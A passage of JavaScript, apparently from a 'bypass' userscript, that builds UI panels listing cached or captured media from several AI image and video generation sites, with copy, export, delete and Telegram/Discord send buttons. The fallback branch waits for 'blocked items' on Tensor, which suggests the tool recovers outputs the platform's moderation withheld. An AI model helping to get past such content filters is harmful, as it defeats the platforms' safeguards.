          empty.innerHTML = '<div class="bypass-empty-icon"><i class="fas fa-hourglass-half"></i></div><div class="bypass-empty-text">No Pixverse media cached yet. Start generating/downloading and links will appear here.</div>';
          content.appendChild(empty);
        } else {
          const list = document.createElement('div');
          list.style.cssText = 'display:grid; grid-template-columns: repeat(auto-fill,minmax(260px,1fr)); gap:10px; margin-top:10px;';
          entries.forEach((entry) => {
            const card = document.createElement('div');
            card.style.cssText = 'border:1px solid rgba(148,163,184,0.25); border-radius:12px; background:rgba(15,23,42,0.4); padding:10px; display:flex; flex-direction:column; gap:8px;';
            const isVideo = String(entry.mediaType || '').toLowerCase() === 'video';
            const preview = isVideo
              ? `<video src="${escapeHtml(entry.url)}" controls muted playsinline style="width:100%;max-height:180px;border-radius:8px;background:#0f172a;object-fit:contain;"></video>`
              : `<img src="${escapeHtml(entry.url)}" style="width:100%;max-height:180px;border-radius:8px;background:#0f172a;object-fit:contain;" />`;
            card.innerHTML = `
              ${preview}
              <div style="font-size:12px;color:#e2e8f0;font-weight:700;">${isVideo ? '<i class="fas fa-video"></i> Video' : '<i class="fas fa-image"></i> Image'} • ${escapeHtml(String(entry.id || 'N/A'))}</div>
              <div style="font-size:11px;color:#94a3b8;">Task: ${escapeHtml(String(entry.taskId || 'N/A'))}</div>
              <div style="font-size:11px;color:#94a3b8;">Updated: ${escapeHtml(new Date(Number(entry.updatedAt || Date.now())).toLocaleString())}</div>
              <div style="font-family:'Courier New',monospace;font-size:11px;word-break:break-all;background:rgba(15,23,42,0.45);padding:6px;border-radius:6px;"><a href="${escapeHtml(entry.url)}" target="_blank" rel="noopener noreferrer" style="color:#93c5fd;">${escapeHtml(entry.url)}</a></div>
            `;
            const buttons = document.createElement('div');
            buttons.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap;';
            const openBtn = document.createElement('button');
            openBtn.className = 'bypass-btn bypass-btn-secondary';
            openBtn.style.cssText = 'flex:1; padding:6px 10px; font-size:11px;';
            openBtn.innerHTML = '<i class="fas fa-up-right-from-square"></i> Open';
            openBtn.onclick = () => window.open(entry.url, '_blank');
            const copyBtn = document.createElement('button');
            copyBtn.className = 'bypass-btn bypass-btn-primary';
            copyBtn.style.cssText = 'flex:1; padding:6px 10px; font-size:11px;';
            copyBtn.innerHTML = '<i class="fas fa-copy"></i> Copy';
            copyBtn.onclick = async () => {
              if (navigator.clipboard?.writeText) await navigator.clipboard.writeText(entry.url);
              showToast('Copied media URL', 'success');
            };
            buttons.appendChild(openBtn);
            buttons.appendChild(copyBtn);

            if (settings.telegramEnabled && settings.telegramToken && settings.telegramChatId) {
              const tgBtn = document.createElement('button');
              tgBtn.className = 'bypass-btn bypass-btn-primary';
              tgBtn.style.cssText = 'flex:1; padding:6px 10px; font-size:11px;';
              tgBtn.innerHTML = '<i class="fab fa-telegram"></i> Telegram';
              tgBtn.onclick = async () => {
                try {
                  addPixverseUiLog('info', 'Sending media to Telegram', { id: entry.id || null, taskId: entry.taskId || null });
                  const result = await sendToTelegram(entry.url, isVideo ? 'video/mp4' : 'image/png', entry.taskId || entry.id || null, entry.updatedAt || Date.now(), '', entry.id || null, {
                    platform: 'pixverse',
                    source: 'floating-items'
                  });
                  if (result?.ok) {
                    addPixverseUiLog('success', 'Sent media to Telegram', { id: entry.id || null, mode: result.mode || 'unknown' });
                    showToast('Sent to Telegram', 'success');
                  } else {
                    addPixverseUiLog('error', 'Failed sending media to Telegram', { id: entry.id || null, error: result?.error || 'unknown error' });
                    showToast(result?.error || 'Telegram send failed', 'error');
                  }
                } catch (err) {
                  addPixverseUiLog('error', 'Telegram send exception', { id: entry.id || null, error: String(err?.message || err) });
                  showToast('Telegram send failed', 'error');
                }
              };
              buttons.appendChild(tgBtn);
            }

            if (settings.discordEnabled && settings.discordWebhook) {
              const dcBtn = document.createElement('button');
              dcBtn.className = 'bypass-btn bypass-btn-secondary';
              dcBtn.style.cssText = 'flex:1; padding:6px 10px; font-size:11px;';
              dcBtn.innerHTML = '<i class="fab fa-discord"></i> Discord';
              dcBtn.onclick = async () => {
                try {
                  addPixverseUiLog('info', 'Sending media to Discord', { id: entry.id || null, taskId: entry.taskId || null });
                  const result = await sendToDiscord(entry.url, isVideo ? 'video/mp4' : 'image/png', entry.taskId || entry.id || null, entry.updatedAt || Date.now(), '', entry.id || null, {
                    platform: 'pixverse',
                    source: 'floating-items'
                  });
                  if (result?.ok) {
                    addPixverseUiLog('success', 'Sent media to Discord', { id: entry.id || null, mode: result.mode || 'unknown' });
                    showToast('Sent to Discord', 'success');
                  } else {
                    addPixverseUiLog('error', 'Failed sending media to Discord', { id: entry.id || null, error: result?.error || 'unknown error' });
                    showToast(result?.error || 'Discord send failed', 'error');
                  }
                } catch (err) {
                  addPixverseUiLog('error', 'Discord send exception', { id: entry.id || null, error: String(err?.message || err) });
                  showToast('Discord send failed', 'error');
                }
              };
              buttons.appendChild(dcBtn);
            }

            card.appendChild(buttons);
            list.appendChild(card);
          });
          content.appendChild(list);
        }

        content.setAttribute('data-bypass-tab', 'home');
      } else if (IS_HIGGSFIELD_DOMAIN) {
        const jobs = await getHiggsfieldJobsForUi();
        const souls = await getHiggsfieldSoulsForUi();

        const makeSectionHeader = (icon, color, label, count, actions) => {
          const header = document.createElement('div');
          header.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:10px; padding:10px 12px; border:1px solid rgba(148,163,184,0.25); border-radius:12px; background:rgba(15,23,42,0.35);';
          header.innerHTML = `<div style="font-size:12px;color:#cbd5e1;"><i class="fas ${icon}" style="margin-right:6px;color:${color};"></i><strong>${count}</strong> ${escapeHtml(label)}</div>`;
          header.appendChild(actions);
          return header;
        };

        const makeActionBar = (itemsKind) => {
          const actions = document.createElement('div');
          actions.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap;';
          const refreshBtn = document.createElement('button');
          refreshBtn.className = 'bypass-btn bypass-btn-secondary';
          refreshBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
          refreshBtn.innerHTML = '<i class="fas fa-arrows-rotate"></i> Refresh';
          refreshBtn.onclick = () => updateUI();
          const exportBtn = document.createElement('button');
          exportBtn.className = 'bypass-btn bypass-btn-primary';
          exportBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
          exportBtn.innerHTML = '<i class="fas fa-file-export"></i> Export';
          exportBtn.onclick = () => {
            if (itemsKind === 'jobs') {
              exportHiggsfieldJobsToJson().catch(() => showToast('Failed to export Higgsfield jobs', 'error'));
            } else {
              exportHiggsfieldSoulsToJson().catch(() => showToast('Failed to export Higgsfield souls', 'error'));
            }
          };
          const importBtn = document.createElement('button');
          importBtn.className = 'bypass-btn bypass-btn-primary';
          importBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
          importBtn.innerHTML = '<i class="fas fa-file-import"></i> Import';
          importBtn.onclick = () => importHiggsfieldItemsFromFile(itemsKind);
          const clearBtn = document.createElement('button');
          clearBtn.className = 'bypass-btn bypass-btn-danger';
          clearBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
          clearBtn.innerHTML = '<i class="fas fa-trash"></i> Clear';
          clearBtn.onclick = () => {
            showConfirmDialog(`Clear Higgsfield ${itemsKind}?`, async () => {
              if (itemsKind === 'jobs') await higgsfieldJobs.clear();
              else await higgsfieldSouls.clear();
              updateUI();
            });
          };
          actions.appendChild(refreshBtn);
          actions.appendChild(exportBtn);
          actions.appendChild(importBtn);
          actions.appendChild(clearBtn);
          return actions;
        };

        const makeGrid = () => {
          const list = document.createElement('div');
          list.style.cssText = 'display:grid; grid-template-columns: repeat(auto-fill,minmax(260px,1fr)); gap:10px; margin-top:10px;';
          return list;
        };

        const jobsHeader = makeSectionHeader('fa-clapperboard', '#60a5fa', 'captured Higgsfield job(s)', jobs.length, makeActionBar('jobs'));
        content.appendChild(jobsHeader);
        if (!jobs.length) {
          const empty = document.createElement('div');
          empty.className = 'bypass-empty-state';
          empty.innerHTML = '<div class="bypass-empty-icon"><i class="fas fa-hourglass-half"></i></div><div class="bypass-empty-text">No Higgsfield jobs captured yet. Open your jobs/project pages and completed items will appear here.</div>';
          content.appendChild(empty);
        } else {
          const jobsList = makeGrid();
          jobs.forEach((entry) => {
            const media = getHiggsfieldPrimaryResult(entry);
            const isVideo = media.type === 'video';
            const previewUrl = media.thumbnail_url || media.url || '';
            const card = document.createElement('div');
            card.style.cssText = 'border:1px solid rgba(148,163,184,0.25); border-radius:12px; background:rgba(15,23,42,0.4); padding:10px; display:flex; flex-direction:column; gap:8px;';
            const preview = media.url
              ? (isVideo
                ? `<video src="${escapeHtml(media.url)}" poster="${escapeHtml(previewUrl)}" controls muted playsinline style="width:100%;max-height:180px;border-radius:8px;background:#0f172a;object-fit:contain;"></video>`
                : `<img src="${escapeHtml(media.url)}" style="width:100%;max-height:180px;border-radius:8px;background:#0f172a;object-fit:contain;" />`)
              : '<div style="height:140px;display:flex;align-items:center;justify-content:center;border-radius:8px;background:#0f172a;color:#64748b;"><i class="fas fa-image"></i></div>';
            card.innerHTML = `
              ${preview}
              <div style="font-size:12px;color:#e2e8f0;font-weight:700;">${isVideo ? '<i class="fas fa-video"></i> Video' : '<i class="fas fa-image"></i> Image'} • ${escapeHtml(String(entry.id || 'N/A'))}</div>
              <div style="font-size:11px;color:#94a3b8;">Status: ${escapeHtml(String(media.job?.status || 'unknown'))}</div>
              <div style="font-size:11px;color:#94a3b8;">Created: ${escapeHtml(new Date(entry.created_at || entry.updatedAt || Date.now()).toLocaleString())}</div>
              <div style="font-size:11px;color:#cbd5e1; white-space:pre-wrap; word-break:break-word;">${escapeHtml(String(entry?.params?.prompt || '').slice(0, 220) || 'No prompt stored')}</div>
            `;
            const buttons = document.createElement('div');
            buttons.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap;';
            const openBtn = document.createElement('button');
            openBtn.className = 'bypass-btn bypass-btn-secondary';
            openBtn.style.cssText = 'flex:1; padding:6px 10px; font-size:11px;';
            openBtn.innerHTML = '<i class="fas fa-up-right-from-square"></i> Open';
            openBtn.disabled = !media.url;
            openBtn.onclick = () => { if (media.url) window.open(media.url, '_blank'); };
            const previewBtn = document.createElement('button');
            previewBtn.className = 'bypass-btn bypass-btn-secondary';
            previewBtn.style.cssText = 'flex:1; padding:6px 10px; font-size:11px;';
            previewBtn.innerHTML = '<i class="fas fa-expand"></i> Preview';
            previewBtn.disabled = !media.url;
            previewBtn.onclick = () => {
              showHiggsfieldPreviewDialog({
                title: `Higgsfield Job ${String(entry.id || '')}`,
                mediaUrl: media.url,
                thumbnailUrl: previewUrl,
                mediaType: isVideo ? 'video' : 'image',
                subtitle: `Status: ${String(media.job?.status || 'unknown')}`,
                copyText: String(entry?.params?.prompt || ''),
                copyLabel: 'Copy Prompt',
                metaLines: [
                  `Created: ${escapeHtml(new Date(entry.created_at || entry.updatedAt || Date.now()).toLocaleString())}`,
                  `Prompt: ${escapeHtml(String(entry?.params?.prompt || 'No prompt stored'))}`
                ]
              });
            };
            const copyBtn = document.createElement('button');
            copyBtn.className = 'bypass-btn bypass-btn-primary';
            copyBtn.style.cssText = 'flex:1; padding:6px 10px; font-size:11px;';
            copyBtn.innerHTML = '<i class="fas fa-copy"></i> Copy Prompt';
            copyBtn.disabled = !entry?.params?.prompt;
            copyBtn.onclick = async () => {
              if (!entry?.params?.prompt) return;
              if (navigator.clipboard?.writeText) await navigator.clipboard.writeText(entry.params.prompt);
              showToast('Copied Higgsfield prompt', 'success');
            };
            const deleteBtn = document.createElement('button');
            deleteBtn.className = 'bypass-btn bypass-btn-danger';
            deleteBtn.style.cssText = 'flex:1; padding:6px 10px; font-size:11px;';
            deleteBtn.innerHTML = '<i class="fas fa-trash"></i> Delete';
            deleteBtn.onclick = () => {
              showConfirmDialog(`Delete Higgsfield job ${String(entry.id || '')}?`, async () => {
                await deleteHiggsfieldJobById(entry.id);
                showToast('Higgsfield job deleted', 'success');
                updateUI();
              });
            };
            buttons.appendChild(openBtn);
            buttons.appendChild(previewBtn);
            buttons.appendChild(copyBtn);
            buttons.appendChild(deleteBtn);
            card.appendChild(buttons);
            jobsList.appendChild(card);
          });
          content.appendChild(jobsList);
        }

        const soulsHeader = makeSectionHeader('fa-face-smile', '#f59e0b', 'captured Higgsfield soul(s)', souls.length, makeActionBar('souls'));
        soulsHeader.style.marginTop = '14px';
        content.appendChild(soulsHeader);
        if (!souls.length) {
          const empty = document.createElement('div');
          empty.className = 'bypass-empty-state';
          empty.innerHTML = '<div class="bypass-empty-icon"><i class="fas fa-seedling"></i></div><div class="bypass-empty-text">No Higgsfield souls captured yet. Custom reference items will appear here when they are loaded.</div>';
          content.appendChild(empty);
        } else {
          const soulsList = makeGrid();
          souls.forEach((entry) => {
            const card = document.createElement('div');
            card.style.cssText = 'border:1px solid rgba(148,163,184,0.25); border-radius:12px; background:rgba(15,23,42,0.4); padding:10px; display:flex; flex-direction:column; gap:8px;';
            const previewUrl = entry?.thumbnail_url || entry?.url || entry?.image || '';
            card.innerHTML = `
              ${previewUrl ? `<img src="${escapeHtml(previewUrl)}" style="width:100%;max-height:180px;border-radius:8px;background:#0f172a;object-fit:contain;" />` : '<div style="height:140px;display:flex;align-items:center;justify-content:center;border-radius:8px;background:#0f172a;color:#64748b;"><i class="fas fa-user-astronaut"></i></div>'}
              <div style="font-size:12px;color:#e2e8f0;font-weight:700;">${escapeHtml(String(entry.name || entry.id || 'Soul'))}</div>
              <div style="font-size:11px;color:#94a3b8;">Status: ${escapeHtml(String(entry.status || 'unknown'))}</div>
              <div style="font-size:11px;color:#94a3b8;">Created: ${escapeHtml(new Date(entry.created_at || entry.updatedAt || Date.now()).toLocaleString())}</div>
            `;
            const buttons = document.createElement('div');
            buttons.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap;';
            const openBtn = document.createElement('button');
            openBtn.className = 'bypass-btn bypass-btn-secondary';
            openBtn.style.cssText = 'flex:1; padding:6px 10px; font-size:11px;';
            openBtn.innerHTML = '<i class="fas fa-up-right-from-square"></i> Open';
            openBtn.disabled = !previewUrl;
            openBtn.onclick = () => { if (previewUrl) window.open(previewUrl, '_blank'); };
            const previewBtn = document.createElement('button');
            previewBtn.className = 'bypass-btn bypass-btn-secondary';
            previewBtn.style.cssText = 'flex:1; padding:6px 10px; font-size:11px;';
            previewBtn.innerHTML = '<i class="fas fa-expand"></i> Preview';
            previewBtn.disabled = !previewUrl;
            previewBtn.onclick = () => {
              showHiggsfieldPreviewDialog({
                title: `Higgsfield Soul ${String(entry.name || entry.id || '')}`,
                mediaUrl: previewUrl,
                thumbnailUrl: previewUrl,
                mediaType: 'image',
                subtitle: `Status: ${String(entry.status || 'unknown')}`,
                copyText: String(entry.id || ''),
                copyLabel: 'Copy ID',
                metaLines: [
                  `Created: ${escapeHtml(new Date(entry.created_at || entry.updatedAt || Date.now()).toLocaleString())}`,
                  `Name: ${escapeHtml(String(entry.name || entry.id || 'Soul'))}`
                ]
              });
            };
            const copyBtn = document.createElement('button');
            copyBtn.className = 'bypass-btn bypass-btn-primary';
            copyBtn.style.cssText = 'flex:1; padding:6px 10px; font-size:11px;';
            copyBtn.innerHTML = '<i class="fas fa-copy"></i> Copy ID';
            copyBtn.onclick = async () => {
              if (navigator.clipboard?.writeText) await navigator.clipboard.writeText(String(entry.id || ''));
              showToast('Copied Higgsfield soul id', 'success');
            };
            const deleteBtn = document.createElement('button');
            deleteBtn.className = 'bypass-btn bypass-btn-danger';
            deleteBtn.style.cssText = 'flex:1; padding:6px 10px; font-size:11px;';
            deleteBtn.innerHTML = '<i class="fas fa-trash"></i> Delete';
            deleteBtn.onclick = () => {
              showConfirmDialog(`Delete Higgsfield soul ${String(entry.name || entry.id || '')}?`, async () => {
                await deleteHiggsfieldSoulById(entry.id);
                showToast('Higgsfield soul deleted', 'success');
                updateUI();
              });
            };
            buttons.appendChild(openBtn);
            buttons.appendChild(previewBtn);
            buttons.appendChild(copyBtn);
            buttons.appendChild(deleteBtn);
            card.appendChild(buttons);
            soulsList.appendChild(card);
          });
          content.appendChild(soulsList);
        }

        content.setAttribute('data-bypass-tab', 'home');
      } else if (IS_HAILUO_DOMAIN) {
        const entries = getHailuoMediaEntries();
        const header = document.createElement('div');
        header.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:10px; padding:10px 12px; border:1px solid rgba(148,163,184,0.25); border-radius:12px; background:rgba(15,23,42,0.35);';
        header.innerHTML = `<div style="font-size:12px;color:#cbd5e1;"><i class="fas fa-database" style="margin-right:6px;color:#22c55e;"></i><strong>${entries.length}</strong> cached Hailuo media link(s)</div>`;
        const actions = document.createElement('div');
        actions.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap;';
        const refreshBtn = document.createElement('button');
        refreshBtn.className = 'bypass-btn bypass-btn-secondary';
        refreshBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
        refreshBtn.innerHTML = '<i class="fas fa-arrows-rotate"></i> Refresh';
        refreshBtn.onclick = () => updateUI();

        const exportBtn = document.createElement('button');
        exportBtn.className = 'bypass-btn bypass-btn-primary';
        exportBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
        exportBtn.innerHTML = '<i class="fas fa-file-export"></i> Export';
        exportBtn.onclick = () => {
          try {
            exportHailuoMediaCacheToJson();
          } catch {
            showToast('Failed to export Hailuo items', 'error');
          }
        };

        const clearBtn = document.createElement('button');
        clearBtn.className = 'bypass-btn bypass-btn-danger';
        clearBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
        clearBtn.innerHTML = '<i class="fas fa-trash"></i> Clear';
        clearBtn.onclick = () => {
          showConfirmDialog('Clear Hailuo cached media links?', () => {
            saveHailuoMediaCache({});
            updateUI();
          });
        };

        actions.appendChild(refreshBtn);
        actions.appendChild(exportBtn);
        actions.appendChild(clearBtn);
        header.appendChild(actions);
        content.appendChild(header);

        if (!entries.length) {
          const empty = document.createElement('div');
          empty.className = 'bypass-empty-state';
          empty.innerHTML = '<div class="bypass-empty-icon"><i class="fas fa-hourglass-half"></i></div><div class="bypass-empty-text">No Hailuo media captured yet. Browse your generated content and loaded previews will be cached here.</div>';
          content.appendChild(empty);
        } else {
          const list = document.createElement('div');
          list.style.cssText = 'display:grid; grid-template-columns: repeat(auto-fill,minmax(260px,1fr)); gap:10px; margin-top:10px;';
          entries.forEach((entry) => {
            const card = document.createElement('div');
            card.style.cssText = 'border:1px solid rgba(148,163,184,0.25); border-radius:12px; background:rgba(15,23,42,0.4); padding:10px; display:flex; flex-direction:column; gap:8px;';
            const isVideo = String(entry.mediaType || '').toLowerCase() === 'video';
            const preview = isVideo
              ? `<video src="${escapeHtml(entry.url)}" controls muted playsinline style="width:100%;max-height:180px;border-radius:8px;background:#0f172a;object-fit:contain;"></video>`
              : `<img src="${escapeHtml(entry.url)}" style="width:100%;max-height:180px;border-radius:8px;background:#0f172a;object-fit:contain;" />`;
            card.innerHTML = `
              ${preview}
              <div style="font-size:12px;color:#e2e8f0;font-weight:700;">${isVideo ? '<i class="fas fa-video"></i> Video' : '<i class="fas fa-image"></i> Image'} • ${escapeHtml(String(entry.id || 'N/A'))}</div>
              <div style="font-size:11px;color:#94a3b8;">Source: ${escapeHtml(String(entry.source || 'hailuo'))}</div>
              <div style="font-size:11px;color:#94a3b8;">Updated: ${escapeHtml(new Date(Number(entry.updatedAt || Date.now())).toLocaleString())}</div>
              <div style="font-family:'Courier New',monospace;font-size:11px;word-break:break-all;background:rgba(15,23,42,0.45);padding:6px;border-radius:6px;"><a href="${escapeHtml(entry.url)}" target="_blank" rel="noopener noreferrer" style="color:#93c5fd;">${escapeHtml(entry.url)}</a></div>
            `;
            const buttons = document.createElement('div');
            buttons.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap;';
            const openBtn = document.createElement('button');
            openBtn.className = 'bypass-btn bypass-btn-secondary';
            openBtn.style.cssText = 'flex:1; padding:6px 10px; font-size:11px;';
            openBtn.innerHTML = '<i class="fas fa-up-right-from-square"></i> Open';
            openBtn.onclick = () => window.open(entry.url, '_blank');
            const copyBtn = document.createElement('button');
            copyBtn.className = 'bypass-btn bypass-btn-primary';
            copyBtn.style.cssText = 'flex:1; padding:6px 10px; font-size:11px;';
            copyBtn.innerHTML = '<i class="fas fa-copy"></i> Copy';
            copyBtn.onclick = async () => {
              if (navigator.clipboard?.writeText) await navigator.clipboard.writeText(entry.url);
              showToast('Copied media URL', 'success');
            };
            buttons.appendChild(openBtn);
            buttons.appendChild(copyBtn);

            if (settings.telegramEnabled && settings.telegramToken && settings.telegramChatId) {
              const tgBtn = document.createElement('button');
              tgBtn.className = 'bypass-btn bypass-btn-primary';
              tgBtn.style.cssText = 'flex:1; padding:6px 10px; font-size:11px;';
              tgBtn.innerHTML = '<i class="fab fa-telegram"></i> Telegram';
              tgBtn.onclick = async () => {
                try {
                  addHailuoUiLog('info', 'Sending media to Telegram', { id: entry.id || null });
                  const result = await sendToTelegram(entry.url, isVideo ? 'video/mp4' : 'image/png', entry.id || null, entry.updatedAt || Date.now(), '', entry.id || null, {
                    platform: 'hailuo',
                    source: 'floating-items'
                  });
                  if (result?.ok) {
                    addHailuoUiLog('success', 'Sent media to Telegram', { id: entry.id || null, mode: result.mode || 'unknown' });
                    showToast('Sent to Telegram', 'success');
                  } else {
                    addHailuoUiLog('error', 'Failed sending media to Telegram', { id: entry.id || null, error: result?.error || 'unknown error' });
                    showToast(result?.error || 'Telegram send failed', 'error');
                  }
                } catch (err) {
                  addHailuoUiLog('error', 'Telegram send exception', { id: entry.id || null, error: String(err?.message || err) });
                  showToast('Telegram send failed', 'error');
                }
              };
              buttons.appendChild(tgBtn);
            }

            if (settings.discordEnabled && settings.discordWebhook) {
              const dcBtn = document.createElement('button');
              dcBtn.className = 'bypass-btn bypass-btn-secondary';
              dcBtn.style.cssText = 'flex:1; padding:6px 10px; font-size:11px;';
              dcBtn.innerHTML = '<i class="fab fa-discord"></i> Discord';
              dcBtn.onclick = async () => {
                try {
                  addHailuoUiLog('info', 'Sending media to Discord', { id: entry.id || null });
                  const result = await sendToDiscord(entry.url, isVideo ? 'video/mp4' : 'image/png', entry.id || null, entry.updatedAt || Date.now(), '', entry.id || null, {
                    platform: 'hailuo',
                    source: 'floating-items'
                  });
                  if (result?.ok) {
                    addHailuoUiLog('success', 'Sent media to Discord', { id: entry.id || null, mode: result.mode || 'unknown' });
                    showToast('Sent to Discord', 'success');
                  } else {
                    addHailuoUiLog('error', 'Failed sending media to Discord', { id: entry.id || null, error: result?.error || 'unknown error' });
                    showToast(result?.error || 'Discord send failed', 'error');
                  }
                } catch (err) {
                  addHailuoUiLog('error', 'Discord send exception', { id: entry.id || null, error: String(err?.message || err) });
                  showToast('Discord send failed', 'error');
                }
              };
              buttons.appendChild(dcBtn);
            }

            card.appendChild(buttons);
            list.appendChild(card);
          });
          content.appendChild(list);
        }

        content.setAttribute('data-bypass-tab', 'home');
      } else if (IS_GROK_DOMAIN) {
        const entries = getGrokMediaEntries();
        const header = document.createElement('div');
        header.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:10px; padding:10px 12px; border:1px solid rgba(148,163,184,0.25); border-radius:12px; background:rgba(15,23,42,0.35);';
        header.innerHTML = `<div style="font-size:12px;color:#cbd5e1;"><i class="fas fa-database" style="margin-right:6px;color:#6366f1;"></i><strong>${entries.length}</strong> cached Grok media link(s)</div>`;
        const actions = document.createElement('div');
        actions.style.cssText = 'display:flex; gap:8px;';
        const refreshBtn = document.createElement('button');
        refreshBtn.className = 'bypass-btn bypass-btn-secondary';
        refreshBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
        refreshBtn.innerHTML = '<i class="fas fa-arrows-rotate"></i> Refresh';
        refreshBtn.onclick = () => updateUI();
        const clearBtn = document.createElement('button');
        clearBtn.className = 'bypass-btn bypass-btn-danger';
        clearBtn.style.cssText = 'width:auto; padding:6px 10px; font-size:11px;';
        clearBtn.innerHTML = '<i class="fas fa-trash"></i> Clear';
        clearBtn.onclick = () => {
          showConfirmDialog('Clear Grok cached media links?', () => {
            saveGrokMediaCache({});
            updateUI();
          });
        };
        actions.appendChild(refreshBtn);
        actions.appendChild(clearBtn);
        header.appendChild(actions);
        content.appendChild(header);

        if (!entries.length) {
          const empty = document.createElement('div');
          empty.className = 'bypass-empty-state';
          empty.innerHTML = '<div class="bypass-empty-icon"><i class="fas fa-hourglass-half"></i></div><div class="bypass-empty-text">No Grok media cached yet. Browse generated content and links will appear here.</div>';
          content.appendChild(empty);
        } else {
          const list = document.createElement('div');
          list.style.cssText = 'display:grid; grid-template-columns: repeat(auto-fill,minmax(260px,1fr)); gap:10px; margin-top:10px;';
          const status = document.createElement('div');
          status.style.cssText = 'font-size:11px; color:#94a3b8; text-align:center; padding:8px 0; grid-column:1 / -1;';

          const PAGE_SIZE = 50;
          let rendered = 0;
          let loadingMore = false;

          const appendNextBatch = () => {
            if (loadingMore) return;
            loadingMore = true;

            const next = entries.slice(rendered, rendered + PAGE_SIZE);
            next.forEach((entry) => {
            const card = document.createElement('div');
            card.style.cssText = 'border:1px solid rgba(148,163,184,0.25); border-radius:12px; background:rgba(15,23,42,0.4); padding:10px; display:flex; flex-direction:column; gap:8px;';
            const isVideo = String(entry.mediaType || '').toLowerCase() === 'video';
            const preview = isVideo
              ? `<video src="${escapeHtml(entry.url)}" controls muted playsinline style="width:100%;max-height:180px;border-radius:8px;background:#0f172a;object-fit:contain;"></video>`
              : `<img src="${escapeHtml(entry.url)}" style="width:100%;max-height:180px;border-radius:8px;background:#0f172a;object-fit:contain;" />`;
            card.innerHTML = `
              ${preview}
              <div style="font-size:12px;color:#e2e8f0;font-weight:700;">${isVideo ? '<i class="fas fa-video"></i> Video' : '<i class="fas fa-image"></i> Image'} • ${escapeHtml(String(entry.id || 'N/A'))}</div>
              <div style="font-size:11px;color:#94a3b8;">Source: ${escapeHtml(String(entry.source || 'grok'))}</div>
              <div style="font-size:11px;color:#94a3b8;">Updated: ${escapeHtml(new Date(Number(entry.updatedAt || Date.now())).toLocaleString())}</div>
              <div style="font-family:'Courier New',monospace;font-size:11px;word-break:break-all;background:rgba(15,23,42,0.45);padding:6px;border-radius:6px;"><a href="${escapeHtml(entry.url)}" target="_blank" rel="noopener noreferrer" style="color:#93c5fd;">${escapeHtml(entry.url)}</a></div>
            `;

            const buttons = document.createElement('div');
            buttons.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap;';
            const openBtn = document.createElement('button');
            openBtn.className = 'bypass-btn bypass-btn-secondary';
            openBtn.style.cssText = 'flex:1; padding:6px 10px; font-size:11px;';
            openBtn.innerHTML = '<i class="fas fa-up-right-from-square"></i> Open';
            openBtn.onclick = () => window.open(entry.url, '_blank');
            const copyBtn = document.createElement('button');
            copyBtn.className = 'bypass-btn bypass-btn-primary';
            copyBtn.style.cssText = 'flex:1; padding:6px 10px; font-size:11px;';
            copyBtn.innerHTML = '<i class="fas fa-copy"></i> Copy';
            copyBtn.onclick = async () => {
              if (navigator.clipboard?.writeText) await navigator.clipboard.writeText(entry.url);
              showToast('Copied media URL', 'success');
            };
            buttons.appendChild(openBtn);
            buttons.appendChild(copyBtn);
            card.appendChild(buttons);
            list.appendChild(card);

            });

            rendered += next.length;
            status.textContent = rendered < entries.length
              ? `Loaded ${rendered}/${entries.length}. Scroll to load more...`
              : `Loaded all ${entries.length} Grok item(s).`;

            loadingMore = false;
          };

          const onScrollLoadMore = () => {
            if (rendered >= entries.length || loadingMore) return;
            const threshold = 220;
            const nearBottom = content.scrollTop + content.clientHeight >= content.scrollHeight - threshold;
            if (nearBottom) appendNextBatch();
          };

          appendNextBatch();
          list.appendChild(status);
          content.addEventListener('scroll', onScrollLoadMore, { passive: true });
          content.appendChild(list);
        }

        content.setAttribute('data-bypass-tab', 'home');
      } else {
      // In multi-account mode, Items should render from cached account tasks (active tokens).
      // This ensures tasks/items appear even if `itemsData` hasn't been populated in this session.
      const allViewItems = viewItemsForKey;
      if (usedCachedHome) {
        // use cached content
      } else if (allViewItems.length === 0) {
        if (!emptyStateStart) emptyStateStart = Date.now();
        const elapsed = Date.now() - emptyStateStart;
        const showTip = elapsed >= 5000;
        const showCache = elapsed >= 15000;

        const emptyState = document.createElement('div');
        emptyState.className = 'bypass-empty-state';
        emptyState.innerHTML = `
          <div class="bypass-empty-icon"><i class="fas fa-spinner fa-spin"></i></div>
          <div class="bypass-empty-text">Loading… Waiting for blocked items</div>
          <div style="width: 100%; display: grid; gap: 12px;">
            <div class="bypass-loading-state" style="height: 80px; border-radius: 10px;"></div>
            <div class="bypass-loading-state" style="height: 80px; border-radius: 10px;"></div>
            <div class="bypass-loading-state" style="height: 80px; border-radius: 10px;"></div>
          </div>
        `;

        if (showTip) {
          const tip = document.createElement('div');
          tip.style.cssText = 'font-size: 12px; color: #cbd5e1; line-height: 1.6; max-width: 320px;';
          tip.innerHTML = `
            <strong>Tip:</strong> If it keeps waiting, go to Tensor creation page: click the <strong>Create</strong> button in the site header, then click the <strong>Reload</strong> icon on the creation page. This triggers the tool to detect blocked items.
          `;
          emptyState.appendChild(tip);
        }

        if (showCache) {
          const cacheBtn = document.createElement('button');
          cacheBtn.className = 'bypass-btn bypass-btn-secondary';
          cacheBtn.style.maxWidth = '220px';
          cacheBtn.textContent = 'Load from Cache';
          const canUseCache = settings.cachingEnabled && downloadUrlCache.size > 0;
          cacheBtn.disabled = !canUseCache;
          cacheBtn.onclick = () => {
            const loaded = loadItemsFromCache();
            if (loaded) {
              emptyStateStart = null;
              updateUI();
            }
          };
          emptyState.appendChild(cacheBtn);
        }

        content.appendChild(emptyState);
      } else {
        emptyStateStart = null;
        forcePreviewLoaders.clear();
        const taskProfilesForFilter = getTaskProfiles();
